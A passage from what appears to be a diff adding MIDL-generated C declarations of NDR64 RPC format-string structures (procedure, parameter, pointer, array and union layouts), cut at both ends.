_NDR64_MEMPAD_FORMAT frag10; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag11; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag12; + } frag2; +} +__midl_frag578_t; +extern const __midl_frag578_t __midl_frag578; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag576_t; +extern const __midl_frag576_t __midl_frag576; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + } frag2; +} +__midl_frag575_t; +extern const __midl_frag575_t __midl_frag575; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag574_t; +extern const __midl_frag574_t __midl_frag574; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag573_t; +extern const __midl_frag573_t __midl_frag573; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag570_t; +extern const __midl_frag570_t __midl_frag570; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag564_t; +extern const __midl_frag564_t __midl_frag564; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag556_t; +extern const __midl_frag556_t __midl_frag556; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag548_t; +extern const __midl_frag548_t __midl_frag548; + +typedef +struct _NDR64_CONTEXT_HANDLE_FORMAT +__midl_frag544_t; +extern const __midl_frag544_t __midl_frag544; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag542_t; +extern const __midl_frag542_t __midl_frag542; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag535_t; +extern const __midl_frag535_t __midl_frag535; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag528_t; +extern const __midl_frag528_t __midl_frag528; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag521_t; +extern const __midl_frag521_t __midl_frag521; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag513_t; +extern const __midl_frag513_t __midl_frag513; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag508_t; +extern const __midl_frag508_t __midl_frag508; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag507_t; +extern const __midl_frag507_t __midl_frag507; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag506_t; +extern const __midl_frag506_t __midl_frag506; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; +} +__midl_frag499_t; +extern const __midl_frag499_t __midl_frag499; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag494_t; +extern const __midl_frag494_t __midl_frag494; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag493_t; +extern const __midl_frag493_t __midl_frag493; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag492_t; +extern const __midl_frag492_t __midl_frag492; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag491_t; +extern const __midl_frag491_t __midl_frag491; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag487_t; +extern const __midl_frag487_t __midl_frag487; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag486_t; +extern const __midl_frag486_t __midl_frag486; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag485_t; +extern const __midl_frag485_t __midl_frag485; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; +} +__midl_frag482_t; +extern const __midl_frag482_t __midl_frag482; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag474_t; +extern const __midl_frag474_t __midl_frag474; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag468_t; +extern const __midl_frag468_t __midl_frag468; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag461_t; +extern const __midl_frag461_t __midl_frag461; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag457_t; +extern const __midl_frag457_t __midl_frag457; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag456_t; +extern const __midl_frag456_t __midl_frag456; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag455_t; +extern const __midl_frag455_t __midl_frag455; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; +} +__midl_frag449_t; +extern const __midl_frag449_t __midl_frag449; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag443_t; +extern const __midl_frag443_t __midl_frag443; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; +} +__midl_frag434_t; +extern const __midl_frag434_t __midl_frag434; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag426_t; +extern const __midl_frag426_t __midl_frag426; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag414_t; +extern const __midl_frag414_t __midl_frag414; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag407_t; +extern const __midl_frag407_t __midl_frag407; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag399_t; +extern const __midl_frag399_t __midl_frag399; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; +} +__midl_frag391_t; +extern const __midl_frag391_t __midl_frag391; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; +} +__midl_frag383_t; +extern const __midl_frag383_t __midl_frag383; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag376_t; +extern const __midl_frag376_t __midl_frag376; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag357_t; +extern const __midl_frag357_t __midl_frag357; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag350_t; +extern const __midl_frag350_t __midl_frag350; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag337_t; +extern const __midl_frag337_t __midl_frag337; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag324_t; +extern const __midl_frag324_t __midl_frag324; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag322_t; +extern const __midl_frag322_t __midl_frag322; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; +} +__midl_frag315_t; +extern const __midl_frag315_t __midl_frag315; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag313_t; +extern const __midl_frag313_t __midl_frag313; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag312_t; +extern const __midl_frag312_t __midl_frag312; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag309_t; +extern const __midl_frag309_t __midl_frag309; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag308_t; +extern const __midl_frag308_t __midl_frag308; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag305_t; +extern const __midl_frag305_t __midl_frag305; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag300_t; +extern const __midl_frag300_t __midl_frag300; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag294_t; +extern const __midl_frag294_t __midl_frag294; + +typedef +struct +{ + struct _NDR64_NON_ENCAPSULATED_UNION frag1; + struct _NDR64_UNION_ARM_SELECTOR frag2; + struct _NDR64_UNION_ARM frag3; + NDR64_UINT32 frag4; +} +__midl_frag288_t; +extern const __midl_frag288_t __midl_frag288; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3; + struct _NDR64_BUFFER_ALIGN_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag287_t; +extern const __midl_frag287_t __midl_frag287; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag286_t; +extern const __midl_frag286_t __midl_frag286; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag285_t; +extern const __midl_frag285_t __midl_frag285; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag283_t; +extern const __midl_frag283_t __midl_frag283; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag276_t; +extern const __midl_frag276_t __midl_frag276; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag268_t; +extern const __midl_frag268_t __midl_frag268; + +typedef +struct _NDR64_CONTEXT_HANDLE_FORMAT +__midl_frag264_t; +extern const __midl_frag264_t __midl_frag264; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag263_t; +extern const __midl_frag263_t __midl_frag263; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag261_t; +extern const __midl_frag261_t __midl_frag261; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_NO_REPEAT_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + struct _NDR64_NO_REPEAT_FORMAT frag7; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8; + struct _NDR64_POINTER_FORMAT frag9; + struct _NDR64_NO_REPEAT_FORMAT frag10; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag11; + struct _NDR64_POINTER_FORMAT frag12; + NDR64_FORMAT_CHAR frag13; + } frag2; +} +__midl_frag253_t; +extern const __midl_frag253_t __midl_frag253; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag252_t; +extern const __midl_frag252_t __midl_frag252; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag251_t; +extern const __midl_frag251_t __midl_frag251; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_NO_REPEAT_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + struct _NDR64_NO_REPEAT_FORMAT frag7; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8; + struct _NDR64_POINTER_FORMAT frag9; + NDR64_FORMAT_CHAR frag10; + } frag2; +} +__midl_frag246_t; +extern const __midl_frag246_t __midl_frag246; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag245_t; +extern const __midl_frag245_t __midl_frag245; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag243_t; +extern const __midl_frag243_t __midl_frag243; + +typedef +struct +{ + struct _NDR64_NON_ENCAPSULATED_UNION frag1; + struct _NDR64_UNION_ARM_SELECTOR frag2; + struct _NDR64_UNION_ARM frag3; + struct _NDR64_UNION_ARM frag4; + struct _NDR64_UNION_ARM frag5; + struct _NDR64_UNION_ARM frag6; + struct _NDR64_UNION_ARM frag7; + NDR64_UINT32 frag8; +} +__midl_frag242_t; +extern const __midl_frag242_t __midl_frag242; + +typedef +struct +{ + struct _NDR64_FIX_ARRAY_HEADER_FORMAT frag1; +} +__midl_frag241_t; +extern const __midl_frag241_t __midl_frag241; + +typedef +struct +{ + struct _NDR64_FIX_ARRAY_HEADER_FORMAT frag1; +} +__midl_frag240_t; +extern const __midl_frag240_t __midl_frag240; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_POINTER_FORMAT frag4; + struct _NDR64_POINTER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; +} +__midl_frag238_t; +extern const __midl_frag238_t __midl_frag238; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag236_t; +extern const __midl_frag236_t __midl_frag236; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag235_t; +extern const __midl_frag235_t __midl_frag235; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag230_t; +extern const __midl_frag230_t __midl_frag230; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag229_t; +extern const __midl_frag229_t __midl_frag229; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag9; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag10; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag11; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag12; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag13; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag14; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag15; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag16; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag17; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag18; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag19; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag20; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag21; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag22; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag23; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag24; + struct _NDR64_MEMPAD_FORMAT frag25; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag26; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag27; + struct _NDR64_MEMPAD_FORMAT frag28; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag29; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag30; + struct _NDR64_MEMPAD_FORMAT frag31; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag32; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag33; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag34; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag35; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag36; + struct _NDR64_MEMPAD_FORMAT frag37; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag38; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag39; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag40; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag41; + struct _NDR64_MEMPAD_FORMAT frag42; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag43; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag44; + struct _NDR64_MEMPAD_FORMAT frag45; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag46; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag47; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag48; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag49; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag50; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag51; + struct _NDR64_MEMPAD_FORMAT frag52; + struct _NDR64_BUFFER_ALIGN_FORMAT frag53; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag54; + } frag2; +} +__midl_frag227_t; +extern const __midl_frag227_t __midl_frag227; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag223_t; +extern const __midl_frag223_t __midl_frag223; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag216_t; +extern const __midl_frag216_t __midl_frag216; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag210_t; +extern const __midl_frag210_t __midl_frag210; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag204_t; +extern const __midl_frag204_t __midl_frag204; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} 